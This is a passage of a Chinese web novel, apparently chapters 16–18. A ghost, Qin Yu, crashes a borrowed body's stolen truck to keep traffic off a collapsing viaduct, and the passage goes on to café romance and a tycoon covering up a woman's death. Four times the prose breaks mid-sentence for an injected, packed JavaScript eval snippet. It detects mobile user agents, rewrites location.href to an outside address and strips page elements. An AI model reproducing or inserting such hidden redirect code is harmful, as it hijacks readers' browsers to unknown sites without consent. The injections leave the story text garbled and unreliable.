F市近五年发展速度很快，GDP年年都保持大增，城区内的高楼越来越多，越来越密，但从秦羽的角度来看，只觉得大家的居住环境变小变差了，人们每天至少要花上十个小时工作，有些黑心公司甚至半夜都亮着灯，秦羽有观察过早高峰时大家的表情都是呆呆的，像个木讷的机器人一样到达各自工作的地方，似乎只有周五下班时，人们的笑脸才会变多。 晚上六点多，秦羽打算去城市的东边碰碰运气，那边是工业开发区，工厂多，居民少，她一般很少去那边晃悠，反正今天没遇到什么事情，她打算去那边认认路。 她一路向东飘，发现东南环立交上，有段路好像出了车祸，立交上堵得像停车场一样，一动不动的。 秦羽落下来看了看现场的情况，一辆黑色轿车追尾了，人家货拉拉大车的屁股倒是没什么，反倒是黑色轿车的头部现在已经被撞得不成样子，司机正在给保险公司打电话，他身上没有明显的伤痕，只是额头上有些擦伤，应该没什么大碍，只是苦了这些打工人，本来下班能回家早点吃上饭的，现在看来没有个把小时，恐怕是没办法到家了。 秦羽回到高处，打算继续往东探查。 突然，东南环立交的一条匝道上亮起了红灯，秦羽以为自己眼睛花了，落下来仔细观察才发现自己没有看错。 不是一辆车亮起红灯，是很多辆车同时闪着红灯。 秦羽第一次遇到这种情况，有些紧张，她跟在那些车的后面，大脑飞速运转。 到底会是什么事故，能同时覆盖这么多人？ 如果是简单的车祸，就算现场非常惨烈，充其量是多车追尾，但按理来说不至于会影响所有车道上的汽车，而且一般追尾事故也不会同时死这么多人。 这些车在高架上，高架本来就限速八十，现在正值下班高峰期，车子排得密密麻麻的，车速能有四十就不错了。 应该不是车祸，可不是车祸，那会是什么？ 秦羽为了让自己更专注，使劲拍了几下脑门。突然，她注意到这些闪着红灯的车子是有规律的，那么长的马路上，前面的车子没有闪，后面的车子没有闪，就只有中间三四排的车子在闪，它们的分布在空中看起来还很整齐。 秦羽灵机一动，应该是…… 有什么东西从天上砸下来，又或者是地上出现了一个大坑之类的，事故突发时，正好选中了夹在中间那几排的车子。 秦羽使劲往前飘，打算探查一下后面的路有什么问题。 沿着这条匝道一直走，高架上倒是没看出什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299033|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么，等到这条匝道绕个大弯到达地面，到时候会有一个红绿灯，过了红绿灯之后……会穿过一个高架桥。 在空中看着高架桥的样子，秦羽再回想起刚刚那些车子的排布，似乎宽度和高架桥的宽度有些相似。 难道是这个高架桥有问题？ 闪着灯的车子少说也有十几辆，如果高架桥真的塌方了，砸在车子上面，乘客们的生还几率几乎为零。 秦羽不敢赌，不管怎么说，现在车子的排布如此整齐，只要想办法将车子全都原地封住，便不会有危险了。 距离那些车子到达这里，应该只有五分钟左右的时间了。 时间紧任务重，秦羽打算豁出去了。 * “紧急插播一条新闻，我市今日晚上七点十分左右，位于东方大道上的高架桥突然发生坍塌，救援人员及车辆已到现场，救援和事故处置工作正在有序开展……该事故目前造成三人重伤，四人轻伤，暂无人员伤亡……。” 蓝哲在家吃面时听到电视里播的新闻，画面上一直在重播高架桥坍塌的特写过程，万幸的是事故发生时桥下没有行人通过，也没有车辆通过，但高架桥上正好有两辆车通过，一辆大卡车，一辆小轿车，车子随着高架桥一起坠落，好在落下后没有被其他水泥块砸中，两辆车上一共有七名乘客，现在受伤人员已经被送到医院治疗了。 高架桥坍塌？这应该是近几年来最夸张的交通事故了。 蓝哲想，如果桥下刚好有车辆通过，那势必被水泥桥压的死死的，瞬间命就没了。 几分钟后，电视上又播了一则新闻，是关于高架桥附近的一场车祸。 一名男司机在东方大道上开着大货车，突然在红绿灯处失控，发了疯似的加速开到对向车道上，最终撞到了花坛，大货车横在路中间，男司机因为没系安全带，当场死亡。 蓝哲夹了口面条吃，最近这样的车祸可不少，不知道这个男司机到底是喝多了，还是嗑药了，又或者是报复社会，还好他是撞到了花坛上，自己死了，没有连累到对向车道的车子，不然可就不止一条性命了。 几秒后，蓝哲放下碗，紧紧盯着电视屏幕上出现的男司机遗照，那是他在路口发疯前被摄像头抓拍到的照片。 “据警方调查，这辆货车是死者在事故发生前偷盗的，警方目前在对死者的身份做调查，屏幕前的观众朋友们，如果有人认识死者，麻烦拨打电话0231XXXXXXX……” 哎？这个彪形大汉看着有些眼熟？ 他就是那晚在楼下烧烤店吃串串的彪形大汉，那不就是…… 蓝哲灵机一动，拿出手机打开导航地图，先是切到东方大道出事故的高架桥，然后又切到男司机出车祸的地点，眯起眼睛，开始思考。 …… 原来是这样。 疯子，这个女人真是不要命了！ 啊，不过……她本来就是个死人。 16.桥 这具壮汉的皮囊丢得真值。 那几排车子的红灯都不闪了，秦羽一一记下红灯上的数字，这些数字编号她回地府会录入系统，作为她日后评比绩效的证据，数了数，一共是二十九条人命，这是她开启任务以来收获最大的一单了。 大货车翻车后，秦羽化为无形在旁边观察情况，被货车挡住没办法走的司机们，纷纷下车看热闹，有好心人立马报了警，有人凑到跟前用手机拍摄视频，有人在车内摇下车窗对着现场指指点点。 直到不远处的高架桥轰然倒塌，可能那场景太过壮观，在那几秒里，大家都像被定身了一般，呆呆的看着那如同大片电影里的镜头，像是在做梦一样，有些人揉了揉眼睛，甚至在怀疑事情的真实性。 等反应过来，大家才开始庆幸，要不是大货车挡住了他们的路，恐怕现在他们已经被压在桥下了。 “真是命大啊！”有人这样感叹。 夕阳西下，天色逐渐变暗，依稀可以看到天边刚升起的圆月。 秦羽对自己刚才出色的表现非常满意，不过这场事故里最无辜的应该是大货车的主人了。他只是在路边小树丛里上个厕所的功夫，回来就看到自己的车子撞上了花坛。 早知道就不该随地大小便了，不过这报应也来得太狠太快了吧。 秦羽记住这个秃头大叔的样子和车牌号，想说后面有机会的话，她再弥补他好了…… 今天干了票大的，秦羽今晚打算早点回去，好好休息一下。 她八点多回到香城小区，蓝哲也在房间里，一向不怎么打扫卫生的他，现在居然在收拾房间，这可有点奇怪。 地面擦得好干净，垃圾桶里的东西也都清理了，沙发上不再是乱七八糟的，上面铺了块白色的毛绒绒的毯子，感觉像是新买的，除此之外，还多了两个抱枕。 秦羽飘到沙发上感觉了一下，嗯，不错，比之前舒服多了。 电视上时不时会播出高架桥坍塌事故的最新消息，秦羽才知道桥上当时有两辆车子随着桥一起掉下来了，里面的乘客正在医院接受治疗，目前没有生命危险。 秦羽想，如果她可以影分身就好了，这样桥上的乘客她也可以努力救一下。 蓝哲在洗手间里忙活了一会儿，出来后将电视切到另一个台，那个台正播放的是一部香港刑侦剧。 他洗了点水果放到茶几上面，自己则坐在沙发上，秦羽的旁边，边吃车厘子边看电视。 他刚刚应该洗过澡了，身上有一股柑橘的香味，发丝上的水珠滴在他的肩膀上，顺着他健硕的胸肌滑到秦羽看不到的位置。 拜托，在家洗完澡还穿什么背心啊，家里也不冷，真是的。 他的身材，秦羽第一天遇到他的时候就看见过，那可真是一场视觉盛宴啊。 摸不到，看看还不行吗？ 秦羽没得到满足，不肯罢休，她用了些办法，让他头发上的水珠流得快一些，多一些，很快他的背心便湿了大半。 蓝哲皱了皱眉，将背心脱下来，扔到放旧衣服的篮子里。 秦羽见计谋得逞，开心得笑出声，她坐在蓝哲对面的茶几上，双手托腮，目光在他的帅脸上只停留了几秒钟，转而向下，落下他结实的腹肌上。 本来想看看就得了的，但秦羽死前可从来没有见过男人这么漂亮的腹肌，更没摸过。 见蓝哲正专心致志的看刑侦剧，秦羽壮着胆子，伸出一根手指，向着他腹肌最明显的一块凑过去…… 不料，她的手指还没碰到，男人突然起身打了个喷嚏，从衣服篮子里翻出了件圆领卫衣套在身上。 秦羽撇着嘴，有些失落，嘀咕道:“切，真小气！摸摸都不行，那么大的男人怎么这么怕冷……” 蓝哲的唇角勾起，眼含笑意，没忍住笑了几声。 秦羽哀怨的躺在沙发上闭着眼睛，继续碎碎念:“笑点真低，这个电视情节有什么好笑的……啊，好累……晚安。” 第二天清晨，蓝哲起床在房间里绕了一圈，发现秦羽已经不在了。 这傻妞今天走的挺早，往常这时候还呼呼大睡呢，真奇怪，怎么一个鬼魂，天天比他还能睡。 茶几上的果盘有些不一样，蓝哲凑近后数了数，发现这女人晚上竟然趁他睡着后偷吃了几颗车厘子。 蓝哲勾起唇角，望向昨天她睡觉的地方。 “真是个馋猫鬼，还总是色眯眯的盯着他的腹部看，看看就得了，居然还想摸！这女人真的是……” * “对了，关于昨晚高架桥坍塌的事情，热搜上怎么说？” 蓉蓉正在拉花，她弄出来的心形既饱满又对称，秦羽花了很多时间去练，却总是弄不好，她也不逞强了，还是拜托专业的人去做专业的事情吧。 “嗯……高架桥的事啊。”蓉蓉歪着头在认真回忆，“好像说没死人，只有几个人受伤了，大家都在讨论桥为什么突然塌方，到底是有什么车辆违规上桥了，还是年久失修，压根没有人认真维护……” “噢，那么大的事故居然没有人死掉，真是不幸中的万幸了。” “对了，我记得昨晚最热的词条是关于玄学的。” “玄学？” “就是那种很邪门，用科学没法解释的事情呀，就说昨天晚上的事故吧，要不是有个货车司机突然失控撞上了花坛，堵住了下高架的车辆，那些车辆搞不好会被压在桥下呢，大家都说这件事细思极恐，好像那帮人压根就命不该绝一样。” 秦羽干笑了两声:“大家说的有点道理，那帮人确实命大。” “不过那个死掉的货车司机，现在警方还没确认他的身份，有件很诡异的事，我发现有个男生在那条热搜下面回了条消息，说那个货车司机长得很像他去世多年的爸爸，还晒出了他爸爸当年的照片，哎？你别说，两个人还真挺像的，但这种事不过就是巧合罢了，那条消息收获了超级多的点赞数，我怀疑那个男生是用ps过的照片蹭热度引流，现在这帮人为了流量真是无所不用其极……” “嗯，世界上有那么多人，偶尔有长得很相似的，也很正常。” 秦羽虽然嘴上这样说，心里却觉得那个男生搞不好真的是壮汉皮囊的儿子，这些皮囊死后便被回收在地府博物馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15304675|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，她拿的时候也没注意皮囊的本体到底死了多久。 蓉蓉将制作好的咖啡放进托盘，端给坐在窗边的一位客人，回来时眼睛亮亮的，秦羽知道她肯定又有什么八卦要说了。 “阿羽，你猜我昨天深入了解安欣怡的事情后发现了什么？” “什么？” 一天过后，安欣怡自杀的事情热度已经不高了，但蓉蓉似乎对这件事热情很大，有点什么新消息就跑过来跟她分享。 “昨天晚上，有个网友爆出安欣怡死前上过一辆银色商务车，而且车牌号也爆出来了。然后你猜怎么着，神通广大的网友们竟然快速的八到了那辆车的车主……” “啊，这么厉害，那车主是谁？” 蓉蓉嘶了一声，似乎在努力回忆:“那车牌号码非常牛皮，车主肯定不是一般人，我刷到了那个车主的名字，好像叫张什么远，是F市一家房地产开发商的老板，我还想再继续深八的，结果刚刚看过的消息和网友最开始爆料的那条消息都被删掉了。” 秦羽有些不解:“那这能说明什么，也许是有人故意胡说八道的。” “不会的。”蓉蓉的语气很肯定，“当一件事情越来越接近真相的时候，有人想要快速切断传播，才会用这种删评的手段。不仅如此，跟车牌号有关系的热搜词条也不见了。” “看来安欣怡的死因并不是简单的自杀。” “对，我一开始就觉得不是！” 秦羽不得不再次对蓉蓉的八卦能力拍手称赞，她收集信息和分析信息的能力都是一流的。 “你好，我要一杯冰美式！” 柜台处突然出现了一个男生，她们俩聊得真起劲，压根没注意到他是什么时候走进来的。 男生穿着蓝灰相间的格子衬衫，皮肤白皙，五官比例完美，一双迷人的桃花眼不禁让人觉得他像是小说里或者漫画里跳出来的花美男。 “柳江学长？” 男生的目光从墙壁上的菜单表格转移到蓉蓉的脸上，有些迟疑的反问:“不好意思……请问你是？” 蓉蓉将工作口罩摘下来，笑容的弧度很大，道:“是我啊，学生会组织部的姜蓉！” 柳江的目光变得柔和起来:“噢，姜蓉，我记得你，前段时间的歌手大赛上你唱了张惠妹的歌，对不对？” “……”蓉蓉有些不好意思，“对的，是我，不过我唱得很一般，第一轮就被淘汰了。” 柳江笑了笑:“哪有，明明很好听呀，不然我怎么还会记得。” “学长，难得见到你，这一单算我请你好了。” “不用不用，我自己付就好。” 柳江掏出手机要扫码，蓉蓉先一步将柜台上的二维码摆台拿走。 “学长要是觉得好喝，下次记得再来就好。” “好吧……谢谢你！” “那麻烦学长在空位上稍等一下，我们这就开始制作哦。” 蓉蓉去准备材料了，柳江站在原地没动，他的目光停留在一边忙着刷杯子的秦羽身上。 “你好？请问跨年夜那晚，我们是不是在哪儿见过？” 17.希望之线 该死，这家伙怎么眼神这么毒，秦羽只在一开始的时候抬头看了他几眼，待发现他的身份后，便一直低着头刷杯子了，怎么还是被他认出来了。 “呃……你好像认错人了吧？” “是么，那不好意思了。” 柳江表面上这样回答，心里却很笃定她就是跨年晚会后台撞到的那个女生。 一样的眼睛，一样的发型，甚至……一样的发夹，他怎么可能认错呢？ 也许对方不希望被同事知道自己还有其他兼职吧，总之一定是有什么难言之隐。 柳江离开柜台，走到窗边找了个座位坐下来。 秦羽松了口气，如果蓉蓉知道她跨年演出时就在现场，这些天她们之间的许多对话就会变得很奇怪，她可不想给自己徒增麻烦。 “哇，柳江学长哎！”蓉蓉开启咖啡机，在嘈杂的声音中，她凑到秦羽身边说，“他在我们大学可是个名人。” “是因为他姐姐吗？” “啊？”蓉蓉露出不解的表情，可想而知，她并不知道柳絮和柳江的关系。 好在周围的声音很大，秦羽改口说:“是因为他长得很好看吗？” 蓉蓉果然没听清她刚才在讲什么，这句话她倒是听清楚了，猛点头回道:“学长确实帅，不过除了长相外，他的成绩也特别优秀，是我们院里的前三名，听说最近签了F市最厉害的一家律师事务所。” “那确实很优秀。” “我们以前是在学生会组织部认识的，他是部长，我是干事，你都不知道那时候有多少学妹喜欢他，想将他扑倒，但最后一个都没成功。” “噢，那他是个冰山美男，高岭之花啊。” “也不是，学长性格挺好的，平易近人，也爱帮助人，管我们的时候从来没有什么领导架子，能和大家都相处得好，但只限于朋友关系。” “可能他的志向不在谈恋爱，在学业上吧。” “maybe？”蓉蓉耸耸肩，将准备好的冰美式放在托盘上，“阿羽，我肚子突然有点疼，想上趟厕所，咖啡你帮我拿给学长吧。” “哦，好。” 秦羽端着托盘走到柳江面前:“这是您点的冰美式，请慢用。” “那天是你对吧，我记得你的发夹。” 秦羽离开前，他说了这样一句话。 这家伙真的是…… 秦羽打算装死，转身后，他又继续说:“我姐说，那晚从试衣间出来的时候依稀看到了一个女孩的背影，她扎着马尾辫，和你一样的马尾辫……而且，你撞到我的时候刚好就在我姐的房间附近，时间吻合，地点吻合，形象吻合，所以，那个纸条是你放在那里的对吗？” “……” 秦羽身子僵住，她当时为了传递消息，确实用的是这张皮囊，她趁柳絮换衣服时，悄悄把纸条放在桌子上，出去时她也确实听到试衣间传出了一些声音。 被他分析得这样明白，秦羽没法打哈哈了，只好跟他摊牌。 “没错，是我，我只是想提醒一下柳絮而已。” 柳江站起身，和秦羽面对面，他的目光不再那样柔和，看向她时带了些侵略性。 “请问你是怎么知道安欣怡要害我姐姐的？” “嗯，我在后台工作时，偶然看到安欣怡在威亚的安全扣上做了些手脚，但具体细节我也没看太清楚。” “那为什么演出之前你没有和姐姐说呢？” “……我一开始也不太确定嘛，后来越想越不对劲，再加上演出时威亚绳子突然断了，我就更加怀疑她了。” “你的意思是说，安欣怡故意弄坏了安全扣，又故意弄坏了绳子？” “不是，那样她不是自相矛盾吗，她只是弄坏了安全扣，想害你姐，然后不知道是谁弄断了绳子，想救你姐，又或者是你姐命大，绳子刚好在她吊起前坏了。” “那……你为什么要留纸条，不直接告诉姐姐呢？” “……”这家伙是十万个为什么吧，秦羽真想翻白眼给他看，“我怕安欣怡这次计谋没得逞，又想到什么办法要对付柳絮，所以想来想去，还是留个纸条提醒她，至于为什么不当面告诉她，是因为我怕她不相信我，再带着我去质问安欣怡什么，我可不想蹚这趟浑水。” 柳江似乎对她的说法很满意，目光变得柔和了些:“谢谢你解答我心中的很多疑问，也谢谢你好心提醒我姐姐。” 秦羽想这家伙要是真心谢谢她，就别再问问题了。 “没事，我也就是顺手提醒一下而已。” “这样干巴巴的说谢谢好像挺奇怪的，你今晚有空么，我可以请你吃饭么？” “呃……不用了，我晚上还有其他兼职要做呢。”秦羽礼貌的微笑拒绝。 “不好意思，请问可不可以告诉我你的联系方式呢。” “……我手机昨天坏了，你想联系我可以来咖啡店找我，我和蓉蓉一班。” 秦羽走回柜台，他竟然跟了过来，他到底要做什么，是刚刚这些话还有什么没说明白的地方么，这家伙怎么这么较真啊。 “那你叫什么名字，可以告诉我么……” 柳江的眼神像笼子里的宠物狗一样，有些无辜，还带着些祈求，奇怪，他怎么一会儿强势，一会儿无辜，这家伙是双鱼座的吧。 秦羽走进柜台，打算忙自己的事情，有些不留情面的回道:“柳江，你问题太多了，刚刚那些问题我都回答你了，但现在这个问题，我有权利不说。” 秦羽等着看他吃瘪的样子，心中暗爽，想不到他却笑了，他薄唇轻启，露出洁白的牙齿，眼神里似乎多了些别的东西。 蓉蓉上厕所回来时看到的景象是这样的:柳江学长追问阿羽的名字，被阿羽拒绝，阿羽低头刷杯子，将学长晾在一边，而学长含情脉脉的看着阿羽的侧脸笑，眼神都拉丝了。 “……学长，我做的咖啡怎么样？” “好喝好喝。” 柳江回答有些敷衍，目光还是落在秦羽身上。 连续剧的开头曲响起，蓉蓉激动的走出柜台，找了个看电视的好位置。 秦羽将洗好的杯子摆好，柳江莫名其妙的，不回去喝美式，反倒在柜台帮她摆杯子。 她的手腕突然被他握住，他的手指冰凉凉的。 秦羽瞪着他，他扫了眼电视和蓉蓉的方向，细长的手指在嘴边做了个“嘘”的动作。 电视里正播着黄玲玲的情节，秦羽瞬间明白了他的意思。 “知道了，放心，我不是大嘴巴。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15308312|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我今天要第三次谢谢你了。” * 蓝哲整理卷宗时，突然被张连泉叫到了一间办公室里。 “师傅找我有什么事。” “我看过你整理的卷宗，很清晰，很有条理。” 张连泉四十多岁了，右侧的鬓角已经有些泛白，他的皮肤黝黑，下颌瘦削，说话时带着很浓的西部口音。 蓝哲挠了挠头，等待师傅接下来的安排。 “你来咱们组有半年多了吧，感觉怎么样？” “大家都对我都挺照顾的，不过大家平时都忙，只有我自己常常留在办公室里整理资料……对了，师傅，我什么时候可以加入大家呢？” “我就知道你小子在办公室里坐不住。”张连泉喝了口水，“我听说大家一起吃饭时，你就爱打听大家手头上的工作进度，看来真是迫不及待想要干点硬活了？” “当然了，我做梦都想跟大家一起出任务！” 张连泉看着蓝哲的眼神中带着些欣慰，如果这小伙子真的安于现状，不想加入大家，反而说明他当初挑错人了。 张连泉递给蓝哲一份资料:“你先看看吧，这是最近F市的幼童失踪案，你范师兄的老婆最近要生了，他请了一阵陪产假，我准了，所以他身上的这个案子，我打算交给你负责调查。” “太好了！”蓝哲语气很激动。 “赶紧看，有什么问题抓紧和你师兄交接，有什么不懂的也可以来问我，不过记住了，你只负责调查，有了情报要及时汇报。” “我知道了，谢谢师傅信任我，我一定不辜负您的期望！” 张连泉在他肩膀上使劲拍了一下:“别光打嘴炮，快去干活！” “是！” 蓝哲回到自己的办公桌，迫不及待的翻开资料。 * F市的滨江高级写字楼里，一位中年男子站在落地窗边，喝了口白兰地。 “张总，在网上发布消息的网友，我们已经确认了他的身份。” “这么慢，都几天了才查到，我养你们是干什么吃的？” 年轻男子急忙解释:“虽说那app是实名制的，但散播消息的人用的是外域的账号，查起来就要费时一些……” 中年男子语气有些不耐烦:“到底是谁，想办法让他给我闭嘴！” “用户的名字叫柳江，我们调查过了，他是政法大学的大四学生，他的亲姐姐是……柳絮。” “柳絮？” 年轻男子坚定的点头:“就是现在正火的女明星，柳絮。” “这倒是有些麻烦。”中年男子蹉了蹉自己的胡须，“等我斟酌斟酌再说，你先下去忙吧。” 张明远回想起那一晚的事情，女人打扮得妖娆多姿，任哪个正常男人看到那种诱惑都会心动的，他本以为这次可以伺候好高总，给他留个好印象，想不到却给自己挖了个大坑。 “这是我交给你的第一件事情，别让我失望。” 高阳喊他进房间，映入眼帘的是躺在地上的女人，她闭着眼睛，不知道是死是活。 张明远在生意场上打拼多年，打过交道的大人物也有一些，但像高阳这样暴戾嚣张的，他还是第一次遇见。 “高总放心，交给我处理就好。” 18.希望之线 柳江最近每天都来咖啡馆，每次都点一样的冰美式，坐在靠窗的位置对着笔记本打字，连续剧开始的时候，他偶尔会抬头看一会儿。 秦羽知道他只想看关于黄玲玲的情节，可显然蓉蓉不知道，每回黄玲玲又做了什么气原配的事时，若有其他客人在，她便小声吐槽，只有柳江在的时候，她会大声吐槽，并希望大家都跟着附和一下。 “真是气死我了，男主角到底是怎么看上她的！不就是胸大腿长，长得漂亮一点嘛，真过日子的时候一点用都顶不上，我看等男主生意出事，公司破产后，她绝对躲的远远的，说白了不就是图钱么……柳絮可太不要脸了！” 柳江脸色不太好看，蓉蓉很少见到他如此不淡定的样子。 “哎！理性追剧，别上升到演员本人啊！你骂黄玲玲就得了，骂柳絮做什么？” “呃，是我刚才嘴瓢说错了。”蓉蓉深吸一口气，虽然对方是学长，但要说起八卦来，她是从来不会低头的，“学长，你没看前段时间的热搜么，这个演员柳絮上学的时候也当过人家的小三，和黄玲玲很像的，所以我刚那样说也没错呀。” 柳江听不得这种话，网上的热搜他也看了不少，但他知道那些都是眼红姐姐的人瞎掰的，他情绪有些激动，想要站起来准备好好和蓉蓉理论一下。 秦羽坐到他旁边的位置:“你这是在写毕业论文吗？” 柳江恢复了些理智，点了点头：“是啊，下个月就要交初版了。” 蓉蓉见柳江没再继续这个话题，自己便继续追剧了，心里却在想，男人果然没一个好东西，连柳江学长这样清心寡欲的男生也会被黄玲玲这种狐媚女吸引，一看他平时就只知道学习，压根不了解娱乐圈的事情，她也懒得跟他一般见识。 秦羽低头瞟到了他论文的题目，《大数据时代的行政法治理念》，目录上有好多专业法律词汇，她看一眼便觉得头疼。 前世，秦羽大学学的是工科专业，高中分文理的时候她果断选了理科，原因是她一直就对数学和物理很感兴趣，她喜欢那种一是一，二是二的感觉，喜欢所有的题目都有标准的毋庸置疑的答案，答对了她才会很兴奋，但文科里的一些学科就不是这样，比如语文，她受不了那些强行解释的阅读理解题，比如政治和历史，她更不喜欢那种开放式的论题，面对半张纸的空白，她经常绞尽脑汁也想不出来要写什么东西。 “哦，政法大学离这里很近吗？” “很近，两条街的距离。” 这还是秦羽第一次主动找柳江说话，柳江知道她是怕他刚刚情绪太激动，被蓉蓉察觉出什么来，看来这个女孩属于面冷心善的性格，和姐姐没什么关系却可以留纸条提醒，明明不爱搭理自己，也会出面化解尴尬。 “这里有个错别字。”秦羽指着他论文的某一行提醒他。 “啊，确实是。”柳江立即修改了错别字，解释道，“我光顾着先写完了，还没从头到尾检查一遍，谢谢你了。” “别光嘴上说谢谢啊，你那天是不是说要请我吃饭来着，我一会儿有空，就今天吧。” 秦羽这次出来身上带的钱马上要花光了，发工资还需要再等一阵儿，她虽然不吃东西不会饿，但只要披着皮囊久了，她也会像正常人一样感觉到饥饿，为了省钱，她已经吃了两天白米粥大馒头了，还在蓝哲的冰箱里偷了些过期酸奶喝…… 她突然这么热情，柳江都有点不适应了，愣了两秒，回道：“好啊，你想吃什么？” “都行，我们在附近转转，再决定吧。” “噢，好。” “我就觉得你们两个人怪怪的，是不是之前就认识呀？”蓉蓉突然从后面凑过来，吓了两人一跳。 柳江开口前，秦羽抢答道：“就是跨年夜那晚，我在路上遇到他，他东西掉了，我帮他捡了捡，就是这样。” 秦羽可不想扯出跨年演出的事情，但蓉蓉的表情显然是没信。 “只是这样么……”蓉蓉嗅到八卦的味道，整个人都精神起来了，“学长，我们认识这么久，你都没请我吃过饭，怎么才认识阿羽几天，就主动约人家吃饭呢？” 蓉蓉仔细看着秦羽的脸，普通到不能再普通，单眼皮，皮肤不算白，眼睛也不大，五官拉出来没一个能打的，凑在一起顶多算是邻家女孩型的吧，怎么样也不算能让柳江师兄一见钟情的模样啊。 “要不咱们一会儿一起去吃饭吧，你那天请我喝咖啡，我还没好好谢谢你。” “多谢学长邀请，我就不去了吧，我一会儿下班，男朋友会来接我，我们要一起去看电影呢。” “那好吧，等下次有机会的。” 蓉蓉可不想当电灯泡，她倒是想看看秦羽和柳江能擦出什么火花来。 * “就这家吧！” 秦羽指着街边的一家麻辣烫店，他们走了两条街，秦羽不想欠他什么，遇到门头很正经的餐馆，她会径直走开，路过这家店时里面飘出了浓浓的香味，秦羽肚子里的蛔虫都要被勾出来了。 “这种店……不太卫生吧？” 柳江嘴上这样说，其实他是不敢吃太辣的，胃会不舒服。 “不会啊，你看里面挺干净的。”秦羽看到里面有一张超大的圆桌子，老板娘长得挺漂亮的，站在中间正在给大家拿麻辣串串。 秦羽的眼睛直了，说好了地方由她来选，柳江只好陪她走了进去。 大家围在一个桌子上吃东西，偶尔和老板娘聊聊天，这种感觉挺好的，就好像大家彼此认识了很久，有种过年时和亲戚朋友们一起吃饭的感觉。 秦羽看了标价表，这些串串都不太贵，素的一块，荤的两三块，她也就不端着了，敞开胃口狂炫。 只是苦了柳江，他被一串浸满辣椒的豆腐皮辣到脸都变形了。秦羽及时递给他一瓶汽水，他猛喝了好几口，终于好了些。 “不好意思，我不知道你不能吃辣。” 柳江辣的脸有些红，他本来皮肤就白嫩，现在的样子活像个受了委屈的小媳妇。 “没事，我能吃。” 这家伙嘴还挺硬的，秦羽看着他的侧脸笑了一会儿，回过神时，对面突然多了一个人，仔细看， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15311961|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还蛮眼熟的。 卧槽，是蓝哲。 自从上次小志的事情后，她化为人形还是第一次遇到他，虽说每天晚上也能在公寓里见到，但那都算是秦羽一个人的自嗨模式，突然像普通人一样面对面，不知道为什么，她竟然有点不好意思。 可能是因为在公寓里总觊觎他的腹肌和帅脸吧…… “最近工作挺忙的吧？好久不见你了。” 老板娘和蓝哲挺熟识的，蓝哲没开口要什么，老板娘已经将他爱吃的几样东西填在他碗里了。 “嗯，是有些忙。” 蓝哲的目光不在他的碗里，反倒在柳江身上转来转去。 “还是要重辣的汤底么？” “嗯。” 老板娘哪壶不开提哪壶，冲着柳江的方向笑了笑说:“每个人对辣椒的承受程度不一样的，小伙子你要是吃不了辣汤的，我给你换个碗，捞点清汤的吧，你女朋友倒是挺能吃辣的……” 秦羽有种被蓝哲捉奸的感觉，听到这话时头摇得像拨浪鼓，解释道:“老板娘，我们不是那种关系。” 说完之后，又忽然反应过来，蓝哲压根不认识她现在的样子，她紧张什么啊，真是奇怪。 柳江倒是没解释什么，他主要觉得和一个不认识的麻辣烫老板娘，没必要讨论这么私人的话题，就更没必要解释了。 秦羽低头吃了几口她最爱的年糕，抬起头时正好对上蓝哲投过来的目光，视线交错，四目相对时，她有点慌，急忙低下头，继续吃脆骨和海带。 她反复告诉自己，她现在这具皮囊从来没有见过蓝哲，他们是陌生人，少往他的方向看，不然会很奇怪都。 秦羽刚刚还滔滔不绝的和柳江闲扯，这会儿一下子没音了，柳江只好自己找话题聊。 此刻老板娘和其他客人聊天的声音很大，柳江为了让她听清楚，凑到她耳边问:“现在你可以告诉我你叫什么名字了吧？我听蓉蓉管你叫阿羽，那你姓什么呢？” “我姓秦。” “学校呢，你读大几了呀。” “科技大学，大三。” “那你年纪应该比我小吧，下次看见我，可以管我叫哥。” 哥你大爷啊，秦羽前世是二十五岁死的，肯定比他大好吧？ 秦羽瞪了柳江一眼，这小子以为刚刚路上多跟她说了几句话，就算是混熟了是吧。 蓉蓉嘴里儒雅又安静的师兄，其实一点也不冰山啊。 